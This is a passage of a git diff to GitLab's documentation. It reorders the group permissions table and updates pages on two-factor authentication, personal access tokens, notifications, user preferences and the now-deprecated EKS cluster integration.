| Manage group labels | | ✓ | ✓ | ✓ | ✓ |
-| See a container registry | | ✓ | ✓ | ✓ | ✓ |
| Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ |
-| Publish [packages](packages/index.md) | | | ✓ | ✓ | ✓ |
+| View a container registry | | ✓ | ✓ | ✓ | ✓ |
+| View Group DevOps Adoption **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ |
| View metrics dashboard annotations | | ✓ | ✓ | ✓ | ✓ |
+| View Productivity analytics **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ |
+| Create and edit group wiki pages **(PREMIUM)** | | | ✓ | ✓ | ✓ |
| Create project in group | | | ✓ (3)(5) | ✓ (3) | ✓ (3) |
-| Share (invite) groups with groups | | | | | ✓ |
| Create/edit/delete group milestones | | | ✓ | ✓ | ✓ |
| Create/edit/delete iterations | | | ✓ | ✓ | ✓ |
+| Create/edit/delete metrics dashboard annotations | | | ✓ | ✓ | ✓ |
| Enable/disable a dependency proxy | | | ✓ | ✓ | ✓ |
-| Create and edit group wiki pages **(PREMIUM)** | | | ✓ | ✓ | ✓ |
+| Publish [packages](packages/index.md) | | | ✓ | ✓ | ✓ |
| Use security dashboard **(ULTIMATE)** | | | ✓ | ✓ | ✓ |
-| Create/edit/delete metrics dashboard annotations | | | ✓ | ✓ | ✓ |
-| View/manage group-level Kubernetes cluster | | | | ✓ | ✓ |
+| View group Audit Events | | | ✓ (7) | ✓ (7) | ✓ |
| Create subgroup | | | | ✓ (1) | ✓ |
| Delete group wiki pages **(PREMIUM)** | | | | ✓ | ✓ |
| Edit epic comments (posted by any user) **(ULTIMATE)** | | | | ✓ (2) | ✓ (2) |
-| Edit group settings | | | | | ✓ |
-| Manage group level CI/CD variables | | | | | ✓ |
| List group deploy tokens | | | | ✓ | ✓ |
+| Manage [group push rules](group/index.md#group-push-rules) **(PREMIUM)** | | | | ✓ | ✓ |
+| View/manage group-level Kubernetes cluster | | | | ✓ | ✓ |
+| Administer project compliance frameworks | | | | | ✓ |
| Create/Delete group deploy tokens | | | | | ✓ |
-| Manage group members | | | | | ✓ |
| Delete group | | | | | ✓ |
| Delete group epic **(PREMIUM)** | | | | | ✓ |
-| Edit SAML SSO Billing **(PREMIUM SAAS)** | ✓ | ✓ | ✓ | ✓ | ✓ (4) |
-| View group Audit Events | | | ✓ (7) | ✓ (7) | ✓ |
| Disable notification emails | | | | | ✓ |
-| View Contribution analytics | ✓ | ✓ | ✓ | ✓ | ✓ |
-| View Group DevOps Adoption **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ |
-| View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
-| View Issue analytics **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ |
-| View Productivity analytics **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ |
-| View Value Stream analytics | ✓ | ✓ | ✓ | ✓ | ✓ |
+| Edit group settings | | | | | ✓ |
+| Filter members by 2FA status | | | | | ✓ |
+| Manage group level CI/CD variables | | | | | ✓ |
+| Manage group members | | | | | ✓ |
+| Share (invite) groups with groups | | | | | ✓ |
+| View 2FA status of members | | | | | ✓ |
| View Billing **(FREE SAAS)** | | | | | ✓ (4) |
| View Usage Quotas **(FREE SAAS)** | | | | | ✓ (4) |
-| Manage [group push rules](group/index.md#group-push-rules) **(PREMIUM)** | | | | ✓ | ✓ |
-| View 2FA status of members | | | | | ✓ |
-| Filter members by 2FA status | | | | | ✓ |
-| Administer project compliance frameworks | | | | | ✓ |
1. Groups can be set to [allow either Owners or Owners and
Maintainers to create subgroups](group/subgroups/index.md#creating-a-subgroup)
@@ -521,6 +525,14 @@ run CI/CD pipelines and execute actions on jobs that are related to those branch
See [Security on protected branches](../ci/pipelines/index.md#pipeline-security-on-protected-branches)
for details about the pipelines security model.
+## Release permissions with protected tags
+
+[The permission to create tags](project/protected_tags.md) is used to define if a user can
+create, edit, and delete [Releases](project/releases/index.md).
+
+See [Release permissions](project/releases/index.md#release-permissions)
+for more information.
+
## LDAP users permissions
In GitLab 8.15 and later, LDAP user permissions can now be manually overridden by an admin user.
diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md
index 3f42fc0d131..597170540ab 100644
--- a/doc/user/profile/account/two_factor_authentication.md
+++ b/doc/user/profile/account/two_factor_authentication.md
@@ -366,7 +366,7 @@ Support for disabling 2FA is limited, depending on your subscription level. For
When 2FA is enabled, you can no longer use your normal account password to
authenticate with Git over HTTPS on the command line or when using
-the [GitLab API](../../../api/README.md). You must use a
+the [GitLab API](../../../api/index.md). You must use a
[personal access token](../personal_access_tokens.md) instead.
## Recovery options
@@ -507,7 +507,7 @@ If you are receiving an `invalid pin code` error, this may indicate that there i
To avoid the time sync issue, enable time synchronization in the device that generates the codes. For example:
-- For Android (Google Authenticator):
+- For Android (Google Authenticator):
1. Go to the Main Menu in Google Authenticator.
1. Select Settings.
1. Select the Time correction for the codes.
diff --git a/doc/user/profile/img/unknown_sign_in_email_v14_0.png b/doc/user/profile/img/unknown_sign_in_email_v14_0.png
index dec1251addb..62634739b78 100644
--- a/doc/user/profile/img/unknown_sign_in_email_v14_0.png
+++ b/doc/user/profile/img/unknown_sign_in_email_v14_0.png
Binary files differ
diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md
index 9d714a6efd0..d49f4ab0c16 100644
--- a/doc/user/profile/index.md
+++ b/doc/user/profile/index.md
@@ -79,6 +79,16 @@ The following is hidden from your user profile page (`https://gitlab.example.com
NOTE:
Making your user profile page private does not hide your public resources from the REST or GraphQL APIs.
+### User visibility
+
+The public page of a user, located at `/username`, is always visible whether you are signed-in or
+not.
+
+When visiting the public page of a user, you can only see the projects which you have privileges to.
+
+If the [public level is restricted](../admin_area/settings/visibility_and_access_controls.md#restricted-visibility-levels),
+user profiles are only visible to signed-in users.
+
## Add external accounts to your user profile page
You can add links to certain other external accounts you might have, like Skype and Twitter.
@@ -98,7 +108,7 @@ To add links to other accounts:
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/14078) in GitLab 11.3.
-In the user contribution calendar graph and recent activity list, you can show contributions to private projects.
+In the user contribution calendar graph and recent activity list, you can see your [contribution actions](../../api/events.md#action-types) to private projects.
To show private contributions:
@@ -280,6 +290,6 @@ Without the `config.extend_remember_period` flag, you would be forced to sign in
- [Receive emails for sign-ins from unknown IP addresses or devices](unknown_sign_in_notification.md)
- Manage applications that can [use GitLab as an OAuth provider](../../integration/oauth_provider.md#introduction-to-oauth)
- Manage [personal access tokens](personal_access_tokens.md) to access your account via API and authorized applications
-- Manage [SSH keys](../../ssh/README.md) to access your account via SSH
+- Manage [SSH keys](../../ssh/index.md) to access your account via SSH
- Change your [syntax highlighting theme](preferences.md#syntax-highlighting-theme)
- [View your active sessions](active_sessions.md) and revoke any of them if necessary
diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md
index b9410be791e..eaf1d33a938 100644
--- a/doc/user/profile/notifications.md
+++ b/doc/user/profile/notifications.md
@@ -176,14 +176,14 @@ Users are notified of the following events:
| Event | Sent to | Settings level |
|------------------------------|---------------------|------------------------------|
| New SSH key added | User | Security email, always sent. |
-| SSH key has expired | User | Security email, always sent. |
+| SSH key has expired | User | Security email, always sent. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322637) in GitLab 13.12 |
| New email added | User | Security email, always sent. |
| Email changed | User | Security email, always sent. |
| Password changed | User | Security email, always sent when user changes their own password |
| Password changed by administrator | User | Security email, always sent when an administrator changes the password of another user |
| Two-factor authentication disabled | User | Security email, always sent. |
| New user created | User | Sent on user creation, except for OmniAuth (LDAP)|
-| New SAML/SCIM user provisioned. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276018) in GitLab 13.8 | User | Sent when a user is provisioned through SAML/SCIM |
+| New SAML/SCIM user provisioned | User | Sent when a user is provisioned through SAML/SCIM. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276018) in GitLab 13.8 |
| User added to project | User | Sent when user is added to project |
| Project access level changed | User | Sent when user project access level is changed |
| User added to group | User | Sent when user is added to group |
@@ -237,10 +237,10 @@ epics:
| Close merge request | |
| Due issue | Participants and Custom notification level with this event selected |
| Failed pipeline | The author of the pipeline |
-| Fixed pipeline ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24309) in GitLab 13.1.) | The author of the pipeline. Enabled by default. |
+| Fixed pipeline | The author of the pipeline. Enabled by default. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24309) in GitLab 13.1 |
| Merge merge request | |
-| Merge when pipeline succeeds ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211961) in GitLab 13.4) | Author, Participants, Watchers, Subscribers, and Custom notification level with this event selected. `Note:` Custom notification level is ignored for Author, Watchers and Subscribers |
-| Merge request [marked as ready](../project/merge_requests/drafts.md) (introduced in [GitLab 13.10](https://gitlab.com/gitlab-org/gitlab/-/issues/15332)) | Watchers and participants |
+| Merge when pipeline succeeds | Author, Participants, Watchers, Subscribers, and Custom notification level with this event selected. Custom notification level is ignored for Author, Watchers and Subscribers. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211961) in GitLab 13.4 |
+| Merge request [marked as ready](../project/merge_requests/drafts.md) | Watchers and participants. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15332) in GitLab 13.10 |
| New comment | Participants, Watchers, Subscribers, and Custom notification level with this event selected, plus anyone mentioned by `@username` in the comment, with notification level "Mention" or higher |
| New epic | |
| New issue | |
diff --git a/doc/user/profile/personal_access_tokens.md b/doc/user/profile/personal_access_tokens.md
index 7b63a5bfef9..0dbf00a83fb 100644
--- a/doc/user/profile/personal_access_tokens.md
+++ b/doc/user/profile/personal_access_tokens.md
@@ -11,16 +11,17 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Notifications for expiring tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/3649) added in GitLab 12.6.
> - [Token lifetime limits](https://gitlab.com/gitlab-org/gitlab/-/issues/3649) added in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6.
> - [Additional notifications for expiring tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/214721) added in GitLab 13.3.
+> - [Prefill token name and scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/334664) added in GitLab 14.1.
-If you're unable to use [OAuth2](../../api/oauth2.md), you can use a personal access token to authenticate with the [GitLab API](../../api/README.md#personalproject-access-tokens). You can also use a personal access token with Git to authenticate over HTTP.
+If you're unable to use [OAuth2](../../api/oauth2.md), you can use a personal access token to authenticate with the [GitLab API](../../api/index.md#personalproject-access-tokens). You can also use a personal access token with Git to authenticate over HTTP.
In both cases, you authenticate with a personal access token in place of your password.
-Personal access tokens are required when [Two-Factor Authentication (2FA)](account/two_factor_authentication.md) is enabled.
+Personal access tokens are required when [Two-Factor Authentication (2FA)](account/two_factor_authentication.md) is enabled.
-For examples of how you can use a personal access token to authenticate with the API, see the [API documentation](../../api/README.md#personalproject-access-tokens).
+For examples of how you can use a personal access token to authenticate with the API, see the [API documentation](../../api/index.md#personalproject-access-tokens).
-Alternately, GitLab administrators can use the API to create [impersonation tokens](../../api/README.md#impersonation-tokens).
+Alternately, GitLab administrators can use the API to create [impersonation tokens](../../api/index.md#impersonation-tokens).
Use impersonation tokens to automate authentication as a specific user.
## Create a personal access token
@@ -37,6 +38,16 @@ You can create as many personal access tokens as you like.
Save the personal access token somewhere safe. After you leave the page,
you no longer have access to the token.
+### Prefill personal access token name and scopes
+
+You can link directly to the Personal Access Token page and have the form prefilled with a name and
+list of scopes. To do this, you can append a `name` parameter and a list of comma-separated scopes
+to the URL. For example:
+
+```plaintext
+https://gitlab.example.com/-/profile/personal_access_tokens?name=Example+Access+token&scopes=api,read_user,read_registry
+```
+
## Revoke a personal access token
At any time, you can revoke a personal access token.
@@ -82,7 +93,7 @@ Personal access tokens expire on the date you define, at midnight UTC.
- In GitLab Ultimate, administrators can
[limit the lifetime of personal access tokens](../admin_area/settings/account_and_limit_settings.md#limit-the-lifetime-of-personal-access-tokens).
- In GitLab Ultimate, administrators can choose whether or not to
- [enforce personal access token expiration](../admin_area/settings/account_and_limit_settings.md#do-not-enforce-personal-access-token-expiration).
+ [enforce personal access token expiration](../admin_area/settings/account_and_limit_settings.md#allow-expired-personal-access-tokens-to-be-used).
## Create a personal access token programmatically **(FREE SELF)**
@@ -104,10 +115,10 @@ To create a personal access token programmatically:
```
1. Run the following commands to reference the username, the token, and the scopes.
-
+
The token must be 20 characters long. The scopes must be valid and are visible
[in the source code](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/auth.rb).
-
+
For example, to create a token that belongs to a user with username `automation-bot`:
```ruby
@@ -141,7 +152,7 @@ To revoke a token programmatically:
```shell
sudo gitlab-rails console
```
-
+
1. To revoke a token of `token-string-here123`, run the following commands:
```ruby
diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md
index 540724f9185..fad9b67eee4 100644
--- a/doc/user/profile/preferences.md
+++ b/doc/user/profile/preferences.md
@@ -163,7 +163,31 @@ You can choose one of the following options as the first day of the week:
- Sunday
- Monday
-If you select **System Default**, the system-wide default setting is used.
+If you select **System Default**, the [instance default](../admin_area/settings/index.md#default-first-day-of-the-week) setting is used.
+
+## Time preferences
+
+### Use relative times
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65570) in GitLab 14.1.
+
+You can select your preferred time format for the GitLab user interface:
+
+- Relative times, for example, `30 minutes ago`.
+- Absolute times, for example, `May 18, 2021, 3:57 PM`.
+
+The times are formatted depending on your chosen language and browser locale.
+
+To set your time preference:
+
+1. On the **Preferences** page, go to **Time preferences**.
+1. Select the **Use relative times** checkbox to use relative times,
+ or clear the checkbox to use absolute times.
+1. Select **Save changes**.
+
+NOTE:
+This feature is experimental, and choosing absolute times might break certain layouts.
+Please open an issue if you notice that using absolute times breaks a layout.
## Integrations
diff --git a/doc/user/project/canary_deployments.md b/doc/user/project/canary_deployments.md
index c3900d33cb8..cac283f6f18 100644
--- a/doc/user/project/canary_deployments.md
+++ b/doc/user/project/canary_deployments.md
@@ -92,7 +92,7 @@ Here's an example setup flow from scratch:
1. Prepare an [Auto DevOps-enabled](../../topics/autodevops/index.md) project.
1. Set up a [Kubernetes Cluster](../../user/project/clusters/index.md) in your project.
1. Install [NGINX Ingress](https://github.com/kubernetes/ingress-nginx/tree/master/charts/ingress-nginx) in your cluster.
-1. Set up [the base domain](../../user/project/clusters/index.md#base-domain) based on the Ingress
+1. Set up [the base domain](../../user/project/clusters/gitlab_managed_clusters.md#base-domain) based on the Ingress
Endpoint assigned above.
1. Check if [`v2.0.0+` of `auto-deploy-image` is used in your Auto DevOps pipelines](../../topics/autodevops/upgrading_auto_deploy_dependencies.md#verify-dependency-versions).
If it isn't, follow the documentation to specify the image version.
diff --git a/doc/user/project/clusters/add_eks_clusters.md b/doc/user/project/clusters/add_eks_clusters.md
index 58bdb3d698f..7d006247177 100644
--- a/doc/user/project/clusters/add_eks_clusters.md
+++ b/doc/user/project/clusters/add_eks_clusters.md
@@ -4,85 +4,57 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Adding EKS clusters **(FREE)**
+# EKS clusters (DEPRECATED) **(FREE)**
-GitLab supports adding new and existing EKS clusters.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22392) in GitLab 12.5.
+> - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/327908) in GitLab 14.0.
-## EKS requirements
+WARNING:
+Use [Infrastrucure as Code](../../infrastructure/index.md) to create new clusters. The method described in this document is deprecated as of GitLab 14.0.
-Before creating your first cluster on Amazon EKS with the GitLab integration, make sure the following
-requirements are met:
+Through GitLab, you can create new clusters and add existing clusters hosted on Amazon Elastic
+Kubernetes Service (EKS).
-- An [Amazon Web Services](https://aws.amazon.com/) account is set up and you are able to log in.
-- You have permissions to manage IAM resources.
-- If you want to use an [existing EKS cluster](#existing-eks-cluster):
- - An Amazon EKS cluster with worker nodes properly configured.
- - `kubectl` [installed and configured](https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html#get-started-kubectl)
- for access to the EKS cluster.
+## Add an existing EKS cluster
-### Additional requirements for self-managed instances **(FREE SELF)**
+If you already have an EKS cluster and want to integrate it with GitLab,
+see how to [add an existing cluster](add_existing_cluster.md).
-If you are using a self-managed GitLab instance, GitLab must first be configured with a set of
-Amazon credentials. These credentials are used to assume an Amazon IAM role provided by the user
-creating the cluster. Create an IAM user and ensure it has permissions to assume the role(s) that
-your users need to create EKS clusters.
+## Create a new certificate-based EKS cluster
-For example, the following policy document allows assuming a role whose name starts with
-`gitlab-eks-` in account `123456789012`:
+Prerequisites:
-```json
-{
- "Version": "2012-10-17",
- "Statement": {
- "Effect": "Allow",
- "Action": "sts:AssumeRole",
- "Resource": "arn:aws:iam::123456789012:role/gitlab-eks-*"
- }
-}
-```
+- An [Amazon Web Services](https://aws.amazon.com/) account.
+- Permissions to manage IAM resources.
-### Configure Amazon authentication
+For instance-level clusters, see [additional requirements for self-managed instances](#additional-requirements-for-self-managed-instances). **(FREE SELF)**
-To configure Amazon authentication in GitLab, generate an access key for the IAM user in the Amazon AWS console, and following the steps below.
+To create new Kubernetes clusters for your project, group, or instance through the certificate-based method:
-1. Navigate to **Admin Area > Settings > General** and expand the **Amazon EKS** section.
-1. Check **Enable Amazon EKS integration**.
-1. Enter your **Account ID**.
-1. Depending on your configuration, enter your access key and ID:
+1. [Define the access control (RBAC or ABAC) for your cluster](cluster_access.md).
+1. [Create a cluster in GitLab](#create-a-new-eks-cluster-in-gitlab).
+1. [Prepare the cluster in Amazon](#prepare-the-cluster-in-amazon).
+1. [Configure your cluster's data in GitLab](#configure-your-clusters-data-in-gitlab).
- - _GitLab 13.7 and later, and using an instance profile_: You may leave
- **Access key ID** and **Secret access key** blank.
- Read [Instance profiles](#instance-profiles) for more information.
- - _All GitLab versions_: Enter your access key credentials into
- **Access key ID** and **Secret access key**.
+Further steps:
-1. Click **Save changes**.
+1. [Create a default Storage Class](#create-a-default-storage-class).
+1. [Deploy the app to EKS](#deploy-the-app-to-eks).
-#### Instance profiles
+### Create a new EKS cluster in GitLab
-> Introduced in [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/291015).
+To create a new EKS cluster:
-You may leave `Access key ID` and `Secret access key` fields blank if
-you are using an instance profile
-[to pass an IAM role to an EC2 instance](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html).
-Instance profiles dynamically retrieve temporary credentials from AWS when needed.
-
-## New EKS cluster
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22392) in GitLab 12.5.
-
-To create and add a new Kubernetes cluster to your project, group, or instance:
-
-1. Navigate to your:
+1. Go to your:
- Project's **Infrastructure > Kubernetes clusters** page, for a project-level cluster.
- Group's **Kubernetes** page, for a group-level cluster.
- - **Admin Area > Kubernetes**, for an instance-level cluster.
-1. Click **Integrate with a cluster certificate**.
+ - **Menu >** **{admin}** **Admin > Kubernetes**, for an instance-level cluster.
+1. Select **Integrate with a cluster certificate**.
1. Under the **Create new cluster** tab, click **Amazon EKS** to display an
`Account ID` and `External ID` needed for later steps.
1. In the [IAM Management Console](https://console.aws.amazon.com/iam/home), create an IAM policy:
1. From the left panel, select **Policies**.
- 1. Click **Create Policy**, which opens a new window.
+ 1. Select **Create Policy**, which opens a new window.
1. Select the **JSON** tab, and paste the following snippet in place of the
existing content. These permissions give GitLab the ability to create
resources, but not delete them:
@@ -133,132 +105,163 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
}
```
- If an error is encountered during the creation process, changes will
- not be rolled back and you must remove resources manually. You can do this by deleting
- the relevant [CloudFormation stack](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-console-delete-stack.html)
+ If you get an error during this process, GitLab does not roll back the changes. You must remove resources manually. You can do this by deleting
+ the relevant [CloudFormation stack](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-console-delete-stack.html).
1. Click **Review policy**.
1. Enter a suitable name for this policy, and click **Create Policy**. You can now close this window.
-1. In the [IAM Management Console](https://console.aws.amazon.com/iam/home), create an **EKS IAM role** following the [Amazon EKS cluster IAM role instructions](https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html). This role should exist so that Kubernetes clusters managed by Amazon EKS can make calls to other AWS services on your behalf to manage the resources that you use with the service.
- In addition to the policies that guide suggests, you must also include the `AmazonEKSClusterPolicy`
- policy for this role in order for GitLab to manage the EKS cluster correctly.
-1. In the [IAM Management Console](https://console.aws.amazon.com/iam/home), create another IAM role which will be used by GitLab to authenticate with AWS. Follow these steps to create it:
- 1. On the AWS IAM console, select **Roles** from the left panel.
- 1. Click **Create role**.
- 1. Under `Select type of trusted entity`, select **Another AWS account**.
- 1. Enter the Account ID from GitLab into the `Account ID` field.
- 1. Check **Require external ID**.
- 1. Enter the External ID from GitLab into the `External ID` field.
- 1. Click **Next: Permissions**, and select the policy you just created.
- 1. Click **Next: Tags**, and optionally enter any tags you wish to associate with this role.
- 1. Click **Next: Review**.
- 1. Enter a role name and optional description into the fields provided.
- 1. Click **Create role**, the new role name displays at the top. Click on its name and copy the `Role ARN` from the newly created role.
-1. In GitLab, enter the copied role ARN into the `Role ARN` field.
+### Prepare the cluster in Amazon
+
+1. [Create an **EKS IAM role** for your cluster](#create-an-eks-iam-role-for-your-cluster) (**role A**).
+1. [Create **another EKS IAM role** for GitLab authentication with Amazon](#create-another-eks-iam-role-for-gitlab-authentication-with-amazon) (**role B**).
+
+#### Create an EKS IAM role for your cluster
+
+In the [IAM Management Console](https://console.aws.amazon.com/iam/home),
+create an **EKS IAM role** (**role A**) following the [Amazon EKS cluster IAM role instructions](https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html).
+This role is necessary so that Kubernetes clusters managed by Amazon EKS can make calls to other AWS
+services on your behalf to manage the resources that you use with the service.
+
+For GitLab to manage the EKS cluster correctly, you must include `AmazonEKSClusterPolicy` in
+addition to the policies the guide suggests.
+
+#### Create another EKS IAM role for GitLab authentication with Amazon
+
+In the [IAM Management Console](https://console.aws.amazon.com/iam/home),
+create another IAM role (**role B**) for GitLab authentication with AWS:
+
+1. On the AWS IAM console, select **Roles** from the left panel.
+1. Click **Create role**.
+1. Under **Select type of trusted entity**, select **Another AWS account**.
+1. Enter the Account ID from GitLab into the **Account ID** field.
+1. Check **Require external ID**.
+1. Enter the External ID from GitLab into the **External ID** field.
+1. Click **Next: Permissions**, and select the policy you just created.
+1. Click **Next: Tags**, and optionally enter any tags you wish to associate with this role.
+1. Click **Next: Review**.
+1. Enter a role name and optional description into the fields provided.
+1. Click **Create role**. The new role name displays at the top. Click on its name and copy the
+ `Role ARN` from the newly created role.
+
+### Configure your cluster's data in GitLab
+
+1. Back in GitLab, enter the copied role ARN into the **Role ARN** field.
1. In the **Cluster Region** field, enter the [region](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html) you plan to use for your new cluster. GitLab confirms you have access to this region when authenticating your role.
-1. Click **Authenticate with AWS**.
-1. Choose your cluster's settings:
- - **Kubernetes cluster name** - The name you wish to give the cluster.
- - **Environment scope** - The [associated environment](index.md#setting-the-environment-scope) to this cluster.
- - **Kubernetes version** - The [Kubernetes version](index.md#supported-cluster-versions) to use.
- - **Service role** - Select the **EKS IAM role** you created earlier to allow Amazon EKS
- and the Kubernetes control plane to manage AWS resources on your behalf.
-
- NOTE:
- This IAM role is _not_ the IAM role you created in the previous step. It should be
- the one you created much earlier by following the
- [Amazon EKS cluster IAM role](https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html)
- guide.
- - **Key pair name** - Select the [key pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html)
- that you can use to connect to your worker nodes if required.
- - **VPC** - Select a [VPC](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html)
- to use for your EKS Cluster resources.
- - **Subnets** - Choose the [subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html)
- in your VPC where your worker nodes run. You must select at least two.
- - **Security group** - Choose the [security group](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html)
- to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets.
- - **Instance type** - The [instance type](https://aws.amazon.com/ec2/instance-types/) of your worker nodes.
- - **Node count** - The number of worker nodes.
- - **GitLab-managed cluster** - Leave this checked if you want GitLab to manage namespaces and service accounts for this cluster.
- See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information.
-1. Finally, click the **Create Kubernetes cluster** button.
+1. Select **Authenticate with AWS**.
+1. Adjust your [cluster's settings](#cluster-settings).
+1. Select the **Create Kubernetes cluster** button.
After about 10 minutes, your cluster is ready to go.
NOTE:
-If you have [installed and configured](https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html#get-started-kubectl) `kubectl` and you would like to manage your cluster with it, you must add your AWS external ID in the AWS configuration. For more information on how to configure AWS CLI, see [using an IAM role in the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-xaccount).
-
-### Cluster creation flow
-
-The following sequence illustrates how GitLab works with AWS to create an EKS cluster:
-
-```mermaid
-sequenceDiagram
- autonumber
- participant G as GitLab
- participant A as AWS
- participant E as EKS cluster
- alt static credentials
- G->>G: Load AWS Access and secret key
- end
- alt IAM instance profile
- G->>A: Fetch temporary credentials
- A->>G: Temporary access credentials
- end
- G->>A: AssumeRole: EKS Provision Role
- A->>A: Check account, external IDs
- A->>A: Check permissions
- A->>G: New access credentials
- note over G: user selects EKS cluster options
- note over G,A: Use Service Role credentials
- G->>A: CreateStack (CloudFormation)
- A->>G: Received
- G->>G: Wait 5 minutes
- loop Poll for cluster creation
- G->>A: DescribeStacks
- A->>G: CREATE_IN_PROGRESS
- end
- note over G,E: EKS Cluster Created
- G->>A: DescribeStacks
- A->>G: CREATE_COMPLETE
- G->>E: kubectl create role (service account)
- E->>G: OK
+If you have [installed and configured](https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html#get-started-kubectl) `kubectl` and you would like to manage your cluster with it, you must add your AWS external ID in the AWS configuration. For more information on how to configure AWS CLI, see [using an IAM role in the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-xaccount).
+
+#### Cluster settings
+
+When you create a new cluster, you have the following settings:
+
+| Setting | Description |
+| ----------------------- |------------ |
+| Kubernetes cluster name | Your cluster's name. |
+| Environment scope | The [associated environment](multiple_kubernetes_clusters.md#setting-the-environment-scope). |
+| Service role | The **EKS IAM role** (**role A**). |
+| Kubernetes version | The [Kubernetes version](index.md#supported-cluster-versions) for your cluster. |
+| Key pair name | The [key pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) that you can use to connect to your worker nodes. |
+| VPC | The [VPC](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html) to use for your EKS Cluster resources. |
+| Subnets | The [subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in your VPC where your worker nodes run. Two are required. |
+| Security group | The [security group](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html) to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets. |
+| Instance type | The [instance type](https://aws.amazon.com/ec2/instance-types/) of your worker nodes. |
+| Node count | The number of worker nodes. |
+| GitLab-managed cluster | Check if you want GitLab to manage namespaces and service accounts for this cluster. |
+
+## Create a default Storage Class
+
+Amazon EKS doesn't have a default Storage Class out of the box, which means
+requests for persistent volumes are not automatically fulfilled. As part
+of Auto DevOps, the deployed PostgreSQL instance requests persistent storage,
+and without a default storage class it cannot start.
+
+If a default Storage Class doesn't already exist and is desired, follow Amazon's
+[guide on storage classes](https://docs.aws.amazon.com/eks/latest/userguide/storage-classes.html)
+to create one.
+
+Alternatively, disable PostgreSQL by setting the project variable
+[`POSTGRES_ENABLED`](../../../topics/autodevops/customize.md#cicd-variables) to `false`.
+
+## Deploy the app to EKS
+
+With RBAC disabled and services deployed,
+[Auto DevOps](../../../topics/autodevops/index.md) can now be leveraged
+to build, test, and deploy the app.
+
+[Enable Auto DevOps](../../../topics/autodevops/index.md#at-the-project-level)
+if not already enabled. If a wildcard DNS entry was created resolving to the
+Load Balancer, enter it in the `domain` field under the Auto DevOps settings.
+Otherwise, the deployed app isn't externally available outside of the cluster.
+
+![Deploy Pipeline](img/pipeline.png)
+
+GitLab creates a new pipeline, which begins to build, test, and deploy the app.
+
+After the pipeline has finished, your app runs in EKS, and is available
+to users. Click on **CI/CD > Environments**.
+
+![Deployed Environment](img/environment.png)
+
+GitLab displays a list of the environments and their deploy status, as well as
+options to browse to the app, view monitoring metrics, and even access a shell
+on the running pod.
+
+## Additional requirements for self-managed instances **(FREE SELF)**
+
+If you are using a self-managed GitLab instance, you need to configure
+Amazon credentials. GitLab uses these credentials to assume an Amazon IAM role to create your cluster.
+
+Create an IAM user and ensure it has permissions to assume the role(s) that
+your users need to create EKS clusters.
+
+For example, the following policy document allows assuming a role whose name starts with
+`gitlab-eks-` in account `123456789012`:
+
+```json
+{
+ "Version": "2012-10-17",
+ "Statement": {
+ "Effect": "Allow",
+ "Action": "sts:AssumeRole",
+ "Resource": "arn:aws:iam::123456789012:role/gitlab-eks-*"
+ }
+}
```
-First, GitLab must obtain an initial set of credentials to communicate with the AWS API.
